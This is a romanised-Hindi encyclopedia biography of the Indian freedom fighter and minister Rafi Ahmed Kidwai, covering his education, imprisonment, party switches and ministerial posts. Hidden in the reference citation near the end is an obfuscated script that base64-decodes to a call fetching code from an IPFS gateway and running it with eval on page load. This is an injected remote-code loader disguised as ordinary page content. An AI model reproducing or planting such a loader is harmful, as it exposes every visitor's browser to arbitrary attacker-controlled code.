रफ़ी अहमद क़िदवई
rafi ahamad qidavee
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| poora nam | rafi ahamad qidavee |
| janm | 18 faravari, 1894 |
| janm bhoomi | barabanki zila, uttar pradesh |
| mrityu | 24 aktoobar, 1954 |
| mrityu sthan | dilli |
| mrityu karan | hridayaghat |
| nagarikata | bharatiy |
| parti | kaangres |
| pad | uttar pradesh ke grihamantri |
| shiksha | snatak |
| vidyalay | e.em.o. k aaulej, aligadh |
| jel yatra | british sarakar ke viruddh prachar karane ke abhiyog mean unhean giraftar kar liya gaya aur das mahine jel mean band rahe. |
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rafi ahamad qidavee (aangrezi: Rafi Ahmed Kidwai, janm: 18 faravari, 1894; mrityu: 24 aktoobar, 1954) svatantrata senani aur desh ke pramukh rajanitijn the. kaangres ke andar jab svarajy parti ka gathan hua to qidavee usamean sammilit ho gaye. 1926 mean ve svarajy parti ke tikat par kendriy vyavasthapika sabha ke sadasy nirvachit hue aur vahaan svarajy parti ke pramukh sachetak banae gaye.
parichay
rafi ahamad qidavee ka janm 18 faravari, 1894 ko uttar pradesh ke barabanki zile ke masauli namak sthan par hua tha. unake pita ek zamiandar aur sarakari adhikari the. rafi ahamad qidavee ki arambhik shiksha barabanki mean huee aur aligadh ke e.em.o. k aaulej se unhoanne apani snatak ki shiksha poori ki. qanoon ki shiksha poori nahian ho paee thi ki mahatma gaandhi ke ahvan par asahayog andolan mean sammilit ho gaye. rafi ahamad qidavee ka vivah sanh 1918 mean hua tha, jisase unhean ek putr hua. durbhagyavash bachcha sat varsh ki ayu mean hi chal basa.
jel yatra
british sarakar ke viruddh prachar karane ke abhiyog mean unhean giraftar kar liya gaya aur das mahine jel mean band rahe. unaka poora jivan svatantrata sangram aur vibhinn prashasanik padoan ke dvara deshaseva ko hi samarpit raha.
sachiv ke roop mean
rafi ahamad qidavee ki sangathan kshamata se pandit motilal neharoo vishesh roop se prabhavit the. unhoanne inhean ilahabad bulakar apana niji sachiv bana liya.
rajanitik jivan
svarajy parti mean sammilit
kaangres ke andar jab svarajy parti ka gathan hua to qidavee usamean sammilit ho gaye. 1926 mean ve svarajy parti ke tikat par kendriy vyavasthapika sabha ke sadasy nirvachit hue aur vahaan svarajy parti ke pramukh sachetak banae gaye.
sadasyata se tyagapatr
1930 mean kaangres ke nishchayanusar unhoanne bhi sadasyata se tyagapatr de diya aur namak satyagrah ki samapti ke bad pandit javaharalal neharoo ke sath avadh ke kisanoan ko sangathit karane mean lag gaye.
vidhan sabha ke sadasy
1935 ka shasan vidhan lagoo hote samay rafi ahamad qidavee uttar pradesh kaangres kameti ke adhyaksh the. muslim lig dvara unake khilaf phailae ge vatavaran ke karan unhean pahali bar chunav mean saphalata nahian mili aur upachunav ke dvara ve uttar pradesh vidhan sabha ke sadasy bane.
rajasv mantri
1937 mean pandit govind vallabh pant ke netritv mean jo pahala mantrimandal bana, usamean ve rajasv mantri banae ge. zamiandari unmoolan ka niti sanbandhi nirnay unhian ke samay mean hua tha.
vibhajan ke samay
1946 mean bhi ve pahale rajasvamantri aur bad mean uttar pradesh ke grihamantri bane. isi samay desh ka vibhajan hua aur kuchh sankirn drishti ke kshetroan mean unake grihamantri pad par rahane ki alochana hone lagi. is par neharoo ji ne unhean kendriy sanchar aur nagarik mantri ke roop mean dilli bula liya. sangathan mean kuchh aur vichar bhed hone ke karan kuchh samay ke lie ve kaangres sangathan aur mantrimandal se alag hokar 'kisan mazadoor prajaparti' ke sadasy ban ge the. par neharoo ji ke kaangres adhyaksh banate hi pun: dal mean vapas a ge. isake bad unhoanne kendr mean khady aur krishimantri ka pad bhar sambhala. shasan ke sabhi padoan par chahe pradesh ho ya kendr unhoanne apani chhap chho di aur prashasanik kshamata ke naye mapadand sthapit kie.
kisan majadoor praja parti ki sadasyata
javaharalal ji ki samajavad mean astha thi aur saradar patel dakshinapanthi vicharadhara ke poshak the. kaangres sangathan par saradar ka adhikar tha. yadyapi saradar patel ne neharoo ji ko pradhanamantri svikar kar liya tha, tathapi kidavee ko is katu saty ka spasht bhan tha ki saradar patel ki upasthiti mean neharoo ji shasan ke namamatr ke adhyaksh raheange. ve neharoo ji ka marg nishkantak banana chahate the, jisase kaangres ki satta unake hath mean ho. raphi ahamad apane prayas mean viphal rahe. uttar pradesh mean raphi-samooh ke vidhayakoan par anushasanahinata ke arop lagakar usake netaoan ko kaangres se nishkasit kar diya gaya. raphi-samooh virodh paksh mean a gaya. mee, 1951 mean kaangres mahasamiti ki ahoot baithak mean tandan ji se samajhauta n hone par achary kripalani ne kaangres se tyagapatr de diya, par raphi ki anishchay ki sthiti bani rahi. yadi ve neharoo ji ka moh tyagakar kaangres se prithak hi ge hote to ya to rajaniti mean samapt ho jate ya desh ke sarvochch neta hote aur shighr hi shasan ki bagador unake hath mean a jati. julaee mean bangalaur adhiveshan se nirash hokar unhoanne kaangres ki praranbhik sadasyata aur keandriy mantrimandal se tyagapatr de diya aur kisan majadoor praja parti ki sadasyata svikar kar li. javaharalal ji ke kaangres adhyaksh nirvachit hone ke pashchath raphi ahamad pun: kaangres mean laut ae.
khady evan krishi mantri
sanh 1952 mean baharaich sansadiy nirvachan kshetr se vijayi hone ke pashchath ve bharat ke khady aur krishi mantri niyukt hue. sanchar aur nagarik uddayan mantri ke roop mean kee kraantikari karyoan ke liye unhoanne paryapt khyati arjit ki thi. sabhi ko shanka thi ki sada se ashubh khady mantralay unake rajanitik bhavishy ke liye bhi ashubh siddh hoga. par kidavee ne chamatkar kar diya. kritrim abhav ki sthiti ko samapt karane ke lie manovaijnanik upachar ke avashyak pag uthae aur khadyann vyapar ko niyantran mukt kar diya. prakriti ne bhi kidavee ka sath diya. yah unaki rajanitik pratishtha ka charamotkarsh tha.[1]
vyaktitv
shri qidavee rashtravadi, dharmanirapeksh tatha vishvasaniy vyakti the. unake vyavahar mean kritrimata nahian thi. pratipakshi ki sahayata karane mean bhi sada age rahate the.
nidhan
rafi ahamad qidavee ka 24 aktoobar, 1954 ko dilli mean hriday gati ruk jane se dehant ho gaya.
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tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 3 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 6 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
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varnamala kramanusar lekh khoj
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